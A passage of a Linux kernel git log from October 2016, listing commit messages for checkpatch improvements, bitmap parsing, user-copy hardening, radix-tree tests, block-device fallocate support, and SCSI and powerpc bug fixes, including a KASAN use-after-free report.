af207524a49c3d70af0a9196072ab3b6d690fcf7 Author: Joe Perches Date: Tue Oct 11 13:52:05 2016 -0700 checkpatch: improve the block comment * alignment test An "uninitialized value" is emitted when a block comment starts on the same line as a statement. Fix this and make the test use a little fewer cpu cycles too. Link: http://lkml.kernel.org/r/3c9993320c2182d37f53ac540878cfef59c3f62d.1473365956.git.joe@perches.com Signed-off-by: Joe Perches Reported-by: Charlemagne Lasse Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) commit 0616efa45af493a259d25c1716102173f10bd789 Author: Joe Perches Date: Tue Oct 11 13:52:02 2016 -0700 checkpatch: speed up checking for filenames in sections marked obsolete Adding -f to the get_maintainer.pl invocation means git isn't invoked by get_maintainer.pl for known filenames. This reduces the overall time to run checkpatch. Link: http://lkml.kernel.org/r/22991e3a295aeb399b43af0478b6e5809106ccee.1472684066.git.joe@perches.com Signed-off-by: Joe Perches Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 15c03cfeabff447abec9e05b5830922099b89943 Author: Joe Perches Date: Tue Oct 11 13:51:59 2016 -0700 const_structs.checkpatch: add frequently used from Julia Lawall's list Using const is generally a good idea. Julia Lawall has created a list of always const and almost always const structs in the kernel sources. Link: https://lkml.org/lkml/2016/8/28/95 Add the most frequently used (> 50 cases) that are almost always or always const. Link: http://lkml.kernel.org/r/1e16020f8027654db0095bbfbcc11da51025365c.1472664220.git.joe@perches.com Signed-off-by: Joe Perches Acked-by: Kees Cook Cc: Julia Lawall Cc: Andy Whitcroft Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/const_structs.checkpatch | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit bf1fa1dae68e1b58b7b7fd61bde654d37da1de57 Author: Joe Perches Date: Tue Oct 11 13:51:56 2016 -0700 checkpatch: externalize the structs that should be const Make it easier to add new structs that should be const. Link: http://lkml.kernel.org/r/e5a8da43e7c11525bafbda1ca69a8323614dd942.1472664220.git.joe@perches.com Signed-off-by: Joe Perches Cc: Julia Lawall Cc: Kees Cook Cc: Andy Whitcroft Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 64 +++++++++++++++------------------------- scripts/const_structs.checkpatch | 39 ++++++++++++++++++++++++ 2 files changed, 63 insertions(+), 40 deletions(-) commit f333195d41e15e7b105ca270c7662204a1a9d0f5 Author: Joe Perches Date: Tue Oct 11 13:51:53 2016 -0700 checkpatch: don't test for prefer ether_addr_ < sigh > Comment these tests out. These are just too enticing to people that don't verify that both source and dest addresses really must be __aligned(2). It helps make Dan Carpenter happy too. Link: http://lkml.kernel.org/r/dc32ec66d24647f4cdf824c8dfbbc59aa7ce7b7d.1472665676.git.joe@perches.com Signed-off-by: Joe Perches Cc: Dan Carpenter Cc: Greg Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 70 +++++++++++++++++++++++++-------------------------- 1 file changed, 35 insertions(+), 35 deletions(-) commit 08eb9b8016b18f53fa8900f3d1c9359f9edeb724 Author: Joe Perches Date: Tue Oct 11 13:51:50 2016 -0700 checkpatch: test multiple line block comment alignment Warn when block comments are not aligned on the * /* * block comment, no warning */ /* * block comment, emit warning */ Link: http://lkml.kernel.org/r/edb57bd330adfe024b95ec2a807d4aa7f0c8b112.1472261299.git.joe@perches.com Signed-off-by: Joe Perches Reported-by: Sudip Mukherjee Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit f90774e1fd2700de4a6e0d62866d34a26c544bd0 Author: Joe Perches Date: Tue Oct 11 13:51:47 2016 -0700 checkpatch: look for symbolic permissions and suggest octal instead S_ uses should be avoided where octal is more intelligible. Linus didst say: : It's *much* easier to parse and understand the octal numbers, while the : symbolic macro names are just random line noise and hard as hell to : understand. You really have to think about it. : : So we should rather go the other way: convert existing bad symbolic : permission bit macro use to just use the octal numbers. : : The symbolic names are good for the *other* bits (ie sticky bit, and the : inode mode _type_ numbers etc), but for the permission bits, the symbolic : names are just insane crap. Nobody sane should ever use them. Not in the : kernel, not in user space. (http://lkml.kernel.org/r/CA+55aFw5v23T-zvDZp-MmD_EYxF8WbafwwB59934FV7g21uMGQ@mail.gmail.com) Link: http://lkml.kernel.org/r/7232ef011d05a92f4caa86a5e9830d87966a2eaf.1470180926.git.joe@perches.com Signed-off-by: Joe Perches Cc: Linus Torvalds Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 49 +++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 43 insertions(+), 6 deletions(-) commit 85b0ee18bbf82cb3e1880c718749149c6ed61058 Author: Joe Perches Date: Tue Oct 11 13:51:44 2016 -0700 checkpatch: see if modified files are marked obsolete in MAINTAINERS Use get_maintainer to check the status of individual files. If "obsolete", suggest leaving the files alone. Link: http://lkml.kernel.org/r/7ceaa510dc9d2df05ec4b456baed7bb1415550b3.1471889575.git.joe@perches.com Signed-off-by: Joe Perches Cc: SF Markus Elfring Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/checkpatch.pl | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 2d13e6ca429c0a6fbc82750acbece829facceec5 Author: Noam Camus Date: Tue Oct 11 13:51:35 2016 -0700 lib/bitmap.c: enhance bitmap syntax Today there are platforms with many CPUs (up to 4K). Trying to boot only part of the CPUs may result in too long string. For example lets take NPS platform that is part of arch/arc. This platform have SMP system with 256 cores each with 16 HW threads (SMT machine) where HW thread appears as CPU to the kernel. In this example there is total of 4K CPUs. When one tries to boot only part of the HW threads from each core the string representing the map may be long... For example if for sake of performance we decided to boot only first half of HW threads of each core the map will look like: 0-7,16-23,32-39,...,4080-4087 This patch introduce new syntax to accommodate with such use case. I added an optional postfix to a range of CPUs which will choose according to given modulo the desired range of reminders i.e.: :sed_size/group_size For example, above map can be described in new syntax like this: 0-4095:8/16 Note that this patch is backward compatible with current syntax. [akpm@linux-foundation.org: rework documentation] Link: http://lkml.kernel.org/r/1473579629-4283-1-git-send-email-noamca@mellanox.com Signed-off-by: Noam Camus Cc: David Decotigny Cc: Ben Hutchings Cc: David S. Miller Cc: Pan Xinhui Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/kernel-parameters.txt | 50 ++++++++++++++++++++++++++----------- lib/bitmap.c | 50 ++++++++++++++++++++++++++++++++++--- 2 files changed, 82 insertions(+), 18 deletions(-) commit 8cfd56d4790423499d03f09f8584e0c6de494ec7 Author: Alexey Dobriyan Date: Tue Oct 11 13:51:32 2016 -0700 lib/kstrtox.c: smaller _parse_integer() Set "overflow" bit upon encountering it instead of postponing to the end of the conversion. Somehow gcc unwedges itself and generates better code: $ ./scripts/bloat-o-meter ../vmlinux-000 ../obj/vmlinux _parse_integer 177 139 -38 Inspired by patch from Zhaoxiu Zeng. Link: http://lkml.kernel.org/r/20160826221920.GA1909@p183.telecom.by Signed-off-by: Alexey Dobriyan Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/kstrtox.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 1204c77f9b6ab8ba8cc6cfe00342f5e64a740cdf Author: Alexey Dobriyan Date: Tue Oct 11 13:51:30 2016 -0700 include/linux/ctype.h: make isdigit() table lookupless Make isdigit into a simple range checking inline function: return '0' <= c && c <= '9'; This code is 1 branch, not 2 because any reasonable compiler can optimize this code into SUB+CMP, so the code while (isdigit((c = *s++))) ... remains 1 branch per iteration HOWEVER it suddenly doesn't do table lookup priming cacheline nobody cares about. Link: http://lkml.kernel.org/r/20160826190047.GA12536@p183.telecom.by Signed-off-by: Alexey Dobriyan Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/ctype.h | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit bf90e56e467ed5766722972d483e6711889ed1b0 Author: Mark Rutland Date: Tue Oct 11 13:51:27 2016 -0700 lib: harden strncpy_from_user The strncpy_from_user() accessor is effectively a copy_from_user() specialised to copy strings, terminating early at a NUL byte if possible. In other respects it is identical, and can be used to copy an arbitrarily large buffer from userspace into the kernel. Conceptually, it exposes a similar attack surface. As with copy_from_user(), we check the destination range when the kernel is built with KASAN, but unlike copy_from_user() we do not check the destination buffer when using HARDENED_USERCOPY. As strncpy_from_user() calls get_user() in a loop, we must call check_object_size() explicitly. This patch adds this instrumentation to strncpy_from_user(), per the same rationale as with the regular copy_from_user(). In the absence of hardened usercopy this will have no impact as the instrumentation expands to an empty static inline function. Link: http://lkml.kernel.org/r/1472221903-31181-1-git-send-email-mark.rutland@arm.com Signed-off-by: Mark Rutland Cc: Kees Cook Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/strncpy_from_user.c | 2 ++ 1 file changed, 2 insertions(+) commit e0176a2f1e131294824d0e50e719cd12290cf06c Author: Ross Zwisler Date: Tue Oct 11 13:51:24 2016 -0700 radix-tree tests: properly initialize mutex The pthread_mutex_t in regression1.c wasn't being initialized properly. Link: http://lkml.kernel.org/r/20160815194237.25967-4-ross.zwisler@linux.intel.com Signed-off-by: Ross Zwisler Cc: Konstantin Khlebnikov Cc: Andrey Ryabinin Cc: Dmitry Vyukov Cc: Shuah Khan Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds tools/testing/radix-tree/regression1.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eec4852543e4e6edbb6cab512fd1edc70c1f7a18 Author: Ross Zwisler Date: Tue Oct 11 13:51:21 2016 -0700 radix-tree tests: add iteration test There are four cases I can see where we could end up with a NULL 'slot' in radix_tree_next_slot(). This unit test exercises all four of them, making sure that if in the future we have an unsafe path through radix_tree_next_slot(), we'll catch it. Here are details on the four cases: 1) radix_tree_iter_retry() via a non-tagged iteration like radix_tree_for_each_slot(). In this case we currently aren't seeing a bug because radix_tree_iter_retry() sets iter->next_index = iter->index; which means that in in the else case in radix_tree_next_slot(), 'count' is zero, so we skip over the while() loop and effectively just return NULL without ever dereferencing 'slot'. 2) radix_tree_iter_retry() via tagged iteration like radix_tree_for_each_tagged(). This case was giving us NULL pointer dereferences in testing, and was fixed with this commit: commit 3cb9185c6730 ("radix-tree: fix radix_tree_iter_retry() for tagged iterators.") This fix doesn't explicitly check for 'slot' being NULL, though, it works around the NULL pointer dereference by instead zeroing iter->tags in radix_tree_iter_retry(), which makes us bail out of the if() case in radix_tree_next_slot() before we dereference 'slot'. 3) radix_tree_iter_next() via via a non-tagged iteration like radix_tree_for_each_slot(). This currently happens in shmem_tag_pins() and shmem_partial_swap_usage(). As with non-tagged iteration, 'count' in the else case of radix_tree_next_slot() is zero, so we skip over the while() loop and effectively just return NULL without ever dereferencing 'slot'. 4) radix_tree_iter_next() via tagged iteration like radix_tree_for_each_tagged(). This happens in shmem_wait_for_pins(). radix_tree_iter_next() zeros out iter->tags, so we end up exiting radix_tree_next_slot() here: if (flags & RADIX_TREE_ITER_TAGGED) { void *canon = slot; iter->tags >>= 1; if (unlikely(!iter->tags)) return NULL; Link: http://lkml.kernel.org/r/20160815194237.25967-3-ross.zwisler@linux.intel.com Signed-off-by: Ross Zwisler Cc: Konstantin Khlebnikov Cc: Andrey Ryabinin Cc: Dmitry Vyukov Cc: Shuah Khan Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds tools/testing/radix-tree/Makefile | 3 +- tools/testing/radix-tree/iteration_check.c | 180 +++++++++++++++++++++++++++++ tools/testing/radix-tree/main.c | 1 + tools/testing/radix-tree/test.h | 1 + 4 files changed, 184 insertions(+), 1 deletion(-) commit 915045fe15a5fc376f263d594aee4fca4fba5323 Author: Ross Zwisler Date: Tue Oct 11 13:51:18 2016 -0700 radix-tree: 'slot' can be NULL in radix_tree_next_slot() There are four cases I can see where we could end up with a NULL 'slot' in radix_tree_next_slot(). Yet radix_tree_next_slot() never actually checks whether 'slot' is NULL. It just happens that for the cases where 'slot' is NULL, some other combination of factors prevents us from dereferencing it. It would be very easy for someone to unwittingly change one of these factors without realizing that we are implicitly depending on it to save us from a NULL pointer dereference. Add a comment documenting the things that allow 'slot' to be safely passed as NULL to radix_tree_next_slot(). Here are details on the four cases: 1) radix_tree_iter_retry() via a non-tagged iteration like radix_tree_for_each_slot(). In this case we currently aren't seeing a bug because radix_tree_iter_retry() sets iter->next_index = iter->index; which means that in in the else case in radix_tree_next_slot(), 'count' is zero, so we skip over the while() loop and effectively just return NULL without ever dereferencing 'slot'. 2) radix_tree_iter_retry() via tagged iteration like radix_tree_for_each_tagged(). This case was giving us NULL pointer dereferences in testing, and was fixed with this commit: commit 3cb9185c6730 ("radix-tree: fix radix_tree_iter_retry() for tagged iterators.") This fix doesn't explicitly check for 'slot' being NULL, though, it works around the NULL pointer dereference by instead zeroing iter->tags in radix_tree_iter_retry(), which makes us bail out of the if() case in radix_tree_next_slot() before we dereference 'slot'. 3) radix_tree_iter_next() via via a non-tagged iteration like radix_tree_for_each_slot(). This currently happens in shmem_tag_pins() and shmem_partial_swap_usage(). As with non-tagged iteration, 'count' in the else case of radix_tree_next_slot() is zero, so we skip over the while() loop and effectively just return NULL without ever dereferencing 'slot'. 4) radix_tree_iter_next() via tagged iteration like radix_tree_for_each_tagged(). This happens in shmem_wait_for_pins(). radix_tree_iter_next() zeros out iter->tags, so we end up exiting radix_tree_next_slot() here: if (flags & RADIX_TREE_ITER_TAGGED) { void *canon = slot; iter->tags >>= 1; if (unlikely(!iter->tags)) return NULL; Link: http://lkml.kernel.org/r/20160815194237.25967-2-ross.zwisler@linux.intel.com Signed-off-by: Ross Zwisler Cc: Konstantin Khlebnikov Cc: Andrey Ryabinin Cc: Dmitry Vyukov Cc: Shuah Khan Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/radix-tree.h | 8 ++++++++ 1 file changed, 8 insertions(+) commit 2d19309cf86883f634a4f8ec55a54bda87db19bf Author: Vlastimil Babka Date: Tue Oct 11 13:51:14 2016 -0700 fs/select: add vmalloc fallback for select(2) The select(2) syscall performs a kmalloc(size, GFP_KERNEL) where size grows with the number of fds passed. We had a customer report page allocation failures of order-4 for this allocation. This is a costly order, so it might easily fail, as the VM expects such allocation to have a lower-order fallback. Such trivial fallback is vmalloc(), as the memory doesn't have to be physically contiguous and the allocation is temporary for the duration of the syscall only. There were some concerns, whether this would have negative impact on the system by exposing vmalloc() to userspace. Although an excessive use of vmalloc can cause some system wide performance issues - TLB flushes etc. - a large order allocation is not for free either and an excessive reclaim/compaction can have a similar effect. Also note that the size is effectively limited by RLIMIT_NOFILE which defaults to 1024 on the systems I checked. That means the bitmaps will fit well within single page and thus the vmalloc() fallback could be only excercised for processes where root allows a higher limit. Note that the poll(2) syscall seems to use a linked list of order-0 pages, so it doesn't need this kind of fallback. [eric.dumazet@gmail.com: fix failure path logic] [akpm@linux-foundation.org: use proper type for size] Link: http://lkml.kernel.org/r/20160927084536.5923-1-vbabka@suse.cz Signed-off-by: Vlastimil Babka Acked-by: Michal Hocko Cc: Alexander Viro Cc: Eric Dumazet Cc: David Laight Cc: Hillf Danton Cc: Nicholas Piggin Cc: Jason Baron Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/select.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit 25f4c41415e513f0e9fb1f3fce2ce98fcba8d263 Author: Darrick J. Wong Date: Tue Oct 11 13:51:11 2016 -0700 block: implement (some of) fallocate for block devices After much discussion, it seems that the fallocate feature flag FALLOC_FL_ZERO_RANGE maps nicely to SCSI WRITE SAME; and the feature FALLOC_FL_PUNCH_HOLE maps nicely to the devices that have been whitelisted for zeroing SCSI UNMAP. Punch still requires that FALLOC_FL_KEEP_SIZE is set. A length that goes past the end of the device will be clamped to the device size if KEEP_SIZE is set; or will return -EINVAL if not. Both start and length must be aligned to the device's logical block size. Since the semantics of fallocate are fairly well established already, wire up the two pieces. The other fallocate variants (collapse range, insert range, and allocate blocks) are not supported. Link: http://lkml.kernel.org/r/147518379992.22791.8849838163218235007.stgit@birch.djwong.org Signed-off-by: Darrick J. Wong Reviewed-by: Hannes Reinecke Reviewed-by: Bart Van Assche Cc: Theodore Ts'o Cc: Martin K. Petersen Cc: Mike Snitzer # tweaked header Cc: Brian Foster Cc: Christoph Hellwig Cc: Hannes Reinecke Cc: Jens Axboe Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/block_dev.c | 77 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/open.c | 3 ++- 2 files changed, 79 insertions(+), 1 deletion(-) commit 28b2be203e5a09de566d6f7e21183f861e36f07e Author: Darrick J. Wong Date: Tue Oct 11 13:51:08 2016 -0700 block: require write_same and discard requests align to logical block size Make sure that the offset and length arguments that we're using to construct WRITE SAME and DISCARD requests are actually aligned to the logical block size. Failure to do this causes other errors in other parts of the block layer or the SCSI layer because disks don't support partial logical block writes. Link: http://lkml.kernel.org/r/147518379026.22791.4437508871355153928.stgit@birch.djwong.org Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Reviewed-by: Bart Van Assche Reviewed-by: Martin K. Petersen Reviewed-by: Hannes Reinecke Cc: Theodore Ts'o Cc: Mike Snitzer # tweaked header Cc: Brian Foster Cc: Jens Axboe Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds block/blk-lib.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 22dd6d356628bccb1a83e12212ec2934f4444e2c Author: Darrick J. Wong Date: Tue Oct 11 13:51:05 2016 -0700 block: invalidate the page cache when issuing BLKZEROOUT Patch series "fallocate for block devices", v11. This is a patchset to fix page cache coherency with BLKZEROOUT and implement fallocate for block devices. The first patch is a fix to the existing BLKZEROOUT ioctl to invalidate the page cache if the zeroing command to the underlying device succeeds. Without this patch we still have the pagecache coherence bug that's been in the kernel forever. The second patch changes the internal block device functions to reject attempts to discard or zeroout that are not aligned to the logical block size. Previously, we only checked that the start/len parameters were 512-byte aligned, which caused kernel BUG_ONs for unaligned IOs to 4k-LBA devices. The third patch creates an fallocate handler for block devices, wires up the FALLOC_FL_PUNCH_HOLE flag to zeroing-discard, and connects FALLOC_FL_ZERO_RANGE to write-same so that we can have a consistent fallocate interface between files and block devices. It also allows the combination of PUNCH_HOLE and NO_HIDE_STALE to invoke non-zeroing discard. Test cases for the new block device fallocate are now in xfstests as generic/349-351. This patch (of 3): Invalidate the page cache (as a regular O_DIRECT write would do) to avoid returning stale cache contents at a later time. Link: http://lkml.kernel.org/r/147518378313.22791.16649519283678515021.stgit@birch.djwong.org Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig Reviewed-by: Martin K. Petersen Reviewed-by: Bart Van Assche Reviewed-by: Hannes Reinecke Cc: Theodore Ts'o Cc: Mike Snitzer Cc: Brian Foster Cc: Jens Axboe Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds block/ioctl.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 0cc482ee41d609811bd7b91abdbcd1c5dbdfb783 Author: Guozhonghua Date: Tue Oct 11 13:51:01 2016 -0700 ocfs2: fix memory leak in dlm_migrate_request_handler() In the dlm_migrate_request_handler(), when `ret' is -EEXIST, the mle should be freed, otherwise the memory will be leaked. Link: http://lkml.kernel.org/r/71604351584F6A4EBAE558C676F37CA4A3D3522A@H3CMLB12-EX.srv.huawei-3com.com Signed-off-by: Guozhonghua Reviewed-by: Mark Fasheh Cc: Eric Ren Cc: Joel Becker Cc: Junxiao Bi Cc: Joseph Qi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ocfs2/dlm/dlmmaster.c | 3 +++ 1 file changed, 3 insertions(+) commit 03eb6b8d314e89e94d4f79ee3d3e6596a75bc857 Author: Ming Lei Date: Mon Oct 10 23:25:33 2016 +0800 scsi: Remove one useless stack variable The local variable of 'devname' in scsi_report_lun_scan() isn't used any more, so remove it. Cc: Christoph Hellwig Signed-off-by: Ming Lei Reviewed-by: Christoph Hellwig Signed-off-by: Martin K. Petersen drivers/scsi/scsi_scan.c | 4 ---- 1 file changed, 4 deletions(-) commit bcd8f2e94808fcddf6ef3af5f060a36820dcc432 Author: Ming Lei Date: Sun Oct 9 13:23:27 2016 +0800 scsi: Fix use-after-free This patch fixes one use-after-free report[1] by KASAN. In __scsi_scan_target(), when a type 31 device is probed, SCSI_SCAN_TARGET_PRESENT is returned and the target will be scanned again. Inside the following scsi_report_lun_scan(), one new scsi_device instance is allocated, and scsi_probe_and_add_lun() is called again to probe the target and still see type 31 device, finally __scsi_remove_device() is called to remove & free the device at the end of scsi_probe_and_add_lun(), so cause use-after-free in scsi_report_lun_scan(). And the following SCSI log can be observed: scsi 0:0:2:0: scsi scan: INQUIRY pass 1 length 36 scsi 0:0:2:0: scsi scan: INQUIRY successful with code 0x0 scsi 0:0:2:0: scsi scan: peripheral device type of 31, no device added scsi 0:0:2:0: scsi scan: Sending REPORT LUNS to (try 0) scsi 0:0:2:0: scsi scan: REPORT LUNS successful (try 0) result 0x0 scsi 0:0:2:0: scsi scan: REPORT LUN scan scsi 0:0:2:0: scsi scan: INQUIRY pass 1 length 36 scsi 0:0:2:0: scsi scan: INQUIRY successful with code 0x0 scsi 0:0:2:0: scsi scan: peripheral device type of 31, no device added BUG: KASAN: use-after-free in __scsi_scan_target+0xbf8/0xe40 at addr ffff88007b44a104 This patch fixes the issue by moving the putting reference at the end of scsi_report_lun_scan(). [1] KASAN report ================================================================== [ 3.274597] PM: Adding info for serio:serio1 [ 3.275127] BUG: KASAN: use-after-free in __scsi_scan_target+0xd87/0xdf0 at addr ffff880254d8c304 [ 3.275653] Read of size 4 by task kworker/u10:0/27 [ 3.275903] CPU: 3 PID: 27 Comm: kworker/u10:0 Not tainted 4.8.0 #2121 [ 3.276258] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 3.276797] Workqueue: events_unbound async_run_entry_fn [ 3.277083] ffff880254d8c380 ffff880259a37870 ffffffff94bbc6c1 ffff880078402d80 [ 3.277532] ffff880254d8bb80 ffff880259a37898 ffffffff9459fec1 ffff880259a37930 [ 3.277989] ffff880254d8bb80 ffff880078402d80 ffff880259a37920 ffffffff945a0165 [ 3.278436] Call Trace: [ 3.278528] [] dump_stack+0x65/0x84 [ 3.278797] [] kasan_object_err+0x21/0x70 [ 3.279063] device: 'psaux': device_add [ 3.279616] [] kasan_report_error+0x205/0x500 [ 3.279651] PM: Adding info for No Bus:psaux [ 3.280202] [] ? kfree_const+0x22/0x30 [ 3.280486] [] ? kobject_release+0x119/0x370 [ 3.280805] [] __asan_report_load4_noabort+0x43/0x50 [ 3.281170] [] ? __scsi_scan_target+0xd87/0xdf0 [ 3.281506] [] __scsi_scan_target+0xd87/0xdf0 [ 3.281848] [] ? scsi_add_device+0x30/0x30 [ 3.282156] [] ? pm_runtime_autosuspend_expiration+0x60/0x60 [ 3.282570] [] ? _raw_spin_lock+0x17/0x40 [ 3.282880] [] scsi_scan_channel+0x105/0x160 [ 3.283200] [] scsi_scan_host_selected+0x212/0x2f0 [ 3.283563] [] do_scsi_scan_host+0x1bc/0x250 [ 3.283882] [] do_scan_async+0x41/0x450 [ 3.284173] [] async_run_entry_fn+0xfe/0x610 [ 3.284492] [] ? pwq_dec_nr_in_flight+0x124/0x2a0 [ 3.284876] [] ? preempt_count_add+0x130/0x160 [ 3.285207] [] process_one_work+0x544/0x12d0 [ 3.285526] [] worker_thread+0xd9/0x12f0 [ 3.285844] [] ? process_one_work+0x12d0/0x12d0 [ 3.286182] [] kthread+0x1c5/0x260 [ 3.286443] [] ? __switch_to+0x88d/0x1430 [ 3.286745] [] ? kthread_worker_fn+0x5a0/0x5a0 [ 3.287085] [] ret_from_fork+0x1f/0x40 [ 3.287368] [] ? kthread_worker_fn+0x5a0/0x5a0 [ 3.287697] Object at ffff880254d8bb80, in cache kmalloc-2048 size: 2048 [ 3.288064] Allocated: [ 3.288147] PID = 27 [ 3.288218] [] save_stack_trace+0x2b/0x50 [ 3.288531] [] save_stack+0x46/0xd0 [ 3.288806] [] kasan_kmalloc+0xad/0xe0 [ 3.289098] [] __kmalloc+0x13e/0x250 [ 3.289378] [] scsi_alloc_sdev+0xea/0xcf0 [ 3.289701] [] __scsi_scan_target+0xa06/0xdf0 [ 3.290034] [] scsi_scan_channel+0x105/0x160 [ 3.290362] [] scsi_scan_host_selected+0x212/0x2f0 [ 3.290724] [] do_scsi_scan_host+0x1bc/0x250 [ 3.291055] [] do_scan_async+0x41/0x450 [ 3.291354] [] async_run_entry_fn+0xfe/0x610 [ 3.291695] [] process_one_work+0x544/0x12d0 [ 3.292022] [] worker_thread+0xd9/0x12f0 [ 3.292325] [] kthread+0x1c5/0x260 [ 3.292594] [] ret_from_fork+0x1f/0x40 [ 3.292886] Freed: [ 3.292945] PID = 27 [ 3.293016] [] save_stack_trace+0x2b/0x50 [ 3.293327] [] save_stack+0x46/0xd0 [ 3.293600] [] kasan_slab_free+0x71/0xb0 [ 3.293916] [] kfree+0xa2/0x1f0 [ 3.294168] [] scsi_device_dev_release_usercontext+0x50a/0x730 [ 3.294598] [] execute_in_process_context+0xda/0x130 [ 3.294974] [] scsi_device_dev_release+0x1c/0x20 [ 3.295322] [] device_release+0x76/0x1e0 [ 3.295626] [] kobject_release+0x107/0x370 [ 3.295942] [] kobject_put+0x4e/0xa0 [ 3.296222] [] put_device+0x17/0x20 [ 3.296497] [] scsi_device_put+0x7c/0xa0 [ 3.296801] [] __scsi_scan_target+0xd4c/0xdf0 [ 3.297132] [] scsi_scan_channel+0x105/0x160 [ 3.297458] [] scsi_scan_host_selected+0x212/0x2f0 [ 3.297829] [] do_scsi_scan_host+0x1bc/0x250 [ 3.298156] [] do_scan_async+0x41/0x450 [ 3.298453] [] async_run_entry_fn+0xfe/0x610 [ 3.298777] [] process_one_work+0x544/0x12d0 [ 3.299105] [] worker_thread+0xd9/0x12f0 [ 3.299408] [] kthread+0x1c5/0x260 [ 3.299676] [] ret_from_fork+0x1f/0x40 [ 3.299967] Memory state around the buggy address: [ 3.300209] ffff880254d8c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 3.300608] ffff880254d8c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 3.300986] >ffff880254d8c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 3.301408] ^ [ 3.301550] ffff880254d8c380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 3.301987] ffff880254d8c400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 3.302396] ================================================================== Cc: Christoph Hellwig Cc: stable@vger.kernel.org Signed-off-by: Ming Lei Reviewed-by: Christoph Hellwig Signed-off-by: Martin K. Petersen drivers/scsi/scsi_scan.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0ba43a81ef7b78ddf404f7709a2257be59436411 Author: Xose Vazquez Perez Date: Fri Oct 7 18:19:57 2016 +0200 scsi: Replace wrong device handler name for CLARiiON arrays At drivers/scsi/device_handler/scsi_dh_emc.c it was defined as: Cc: Christoph Hellwig Cc: Hannes Reinecke Cc: Christophe Varoqui Cc: James E.J. Bottomley Cc: Martin K. Petersen Cc: SCSI ML Cc: device-mapper development Signed-off-by: Xose Vazquez Perez Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/scsi_dh.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b2edcdae3d9a29b25f6c161a8711caa74ce49991 Merge: 74f47f0 7e4c224 Author: Wolfram Sang Date: Tue Oct 11 23:26:13 2016 +0200 Merge tag 'tegra-for-4.8-i2c' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux into i2c/for-next [wsa: fell through the cracks, applied to 4.9 now] Signed-off-by: Wolfram Sang i2c: 'i2c-bus' node support for v4.8-rc1 This includes the device tree binding and I2C core changes to support the i2c-bus subnode that I2C masters can use to describe their slaves in a separate namespace and therefore avoid clashing with potentially other subnodes. commit 08bf75ba852ef8304a84b6a030466b4b4850382e Author: Michael Ellerman Date: Tue Oct 11 21:15:04 2016 +1100 powerpc/mm/hash64: Fix might_have_hea() check In commit 2b4e3ad8f579 ("powerpc/mm/hash64: Don't test for machine type to detect HEA special case") we changed the logic in might_have_hea() to check FW_FEATURE_SPLPAR rather than machine_is(pseries). However the check was incorrectly negated, leading to crashes on machines with HEA adapters, such as: mm: Hashing failure ! EA=0xd000080080004040 access=0x800000000000000e current=NetworkManager trap=0x300 vsid=0x13d349c ssize=1 base psize=2 psize 2 pte=0xc0003cc033e701ae Unable to handle kernel paging request for data at address 0xd000080080004040 Call Trace: .ehea_create_cq+0x148/0x340 [ehea] (unreliable) .ehea_up+0x258/0x1200 [ehea] .ehea_open+0x44/0x1a0 [ehea] ... Fix it by removing the negation. Fixes: 2b4e3ad8f579 ("powerpc/mm/hash64: Don't test for machine type to detect HEA special case") Cc: stable@vger.kernel.org # v4.8+ Reported-by: Denis Kirjanov Reported-by: Jan Stancek Signed-off-by: Michael Ellerman arch/powerpc/mm/hash_utils_64.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1a34439e5a0b2235e43f96816dbb15ee1154f656 Author: Paul Mackerras Date: Tue Oct 11 22:25:47 2016 +1100 powerpc/64: Fix incorrect return value from __copy_tofrom_user Debugging a data corruption issue with virtio-net/vhost-net led to the observation that __copy_tofrom_user was occasionally returning a value 16 larger than it should. Since the return value from 